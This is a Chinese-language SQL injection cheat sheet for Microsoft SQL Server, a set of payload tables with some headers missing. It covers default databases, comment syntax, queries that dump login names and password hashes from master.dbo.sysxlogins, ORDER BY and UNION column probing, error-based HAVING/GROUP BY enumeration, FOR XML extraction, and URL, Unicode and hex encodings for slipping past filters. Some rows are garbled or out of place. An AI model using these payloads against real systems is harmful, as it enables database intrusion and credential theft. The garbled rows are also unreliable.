# MSSQL注射知识库 v 1.0 ### 默认数据库
pubs | 不适用于MSSQL 2005 |
model | 适用于所有版本 |
msdb | 适用于所有版本 |
tempdb | 适用于所有版本 |
northwind | 适用于所有版本 |
information_schema | 适用于MSSQL 2000及更高版本 |
/ * | C语言风格注释 |
-- | SQL注释 |
; 00% | 空字节 |
数据库表 | master..syslogins, master..sysprocesses |
列名 | name, loginame |
当前用户 | user, system_user, suser_sname(), is_srvrolemember('sysadmin') |
数据库凭据 | SELECT user, password FROM master.dbo.sysxlogins |
数据库表 | master..sysdatabases |
列 | name |
当前前数据库 | DB_NAME(5) |
1' ORDER BY 1-- | True |
1' ORDER BY 2-- | True |
1' ORDER BY 3-- | True |
1' ORDER BY 4-- | False - 列数为3 |
-1' UNION SELECT 1,2,3-- | True |
1' HAVING 1=1-- | 选择列表中的列 'Users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。 |
1' GROUP BY username HAVING 1=1-- | True |
选择列表中的列 'Users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。 | True |
1' GROUP BY username, password HAVING 1=1-- | 选择列表中的列 'Users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。 |
1' GROUP BY username, password, permission HAVING 1=1-- | 没有错误 |
for xml raw/auto | 适用于SQL Server 2000及以上版本 **(**附**:此法只能取首行数据,问题待解决.)** |
for xml path | 适用于SQL Server 2005及以上版本,虽然是一次性获取所有内容,但是取出内容数量取决于表定义的长度. |
URL编码(URL Encoding) | SELECT %74able_%6eame FROM information_schema.tables; |
双重URL编码(Double URL Encoding) | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode编码(Unicode Encoding) | SELECT %u0074able_%u6eame FROM information_schema.tables; |
无效的十六进制编码(Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
十六进制编码(Hex Encoding) | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
HTML实体(HTML Entities 待验证) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |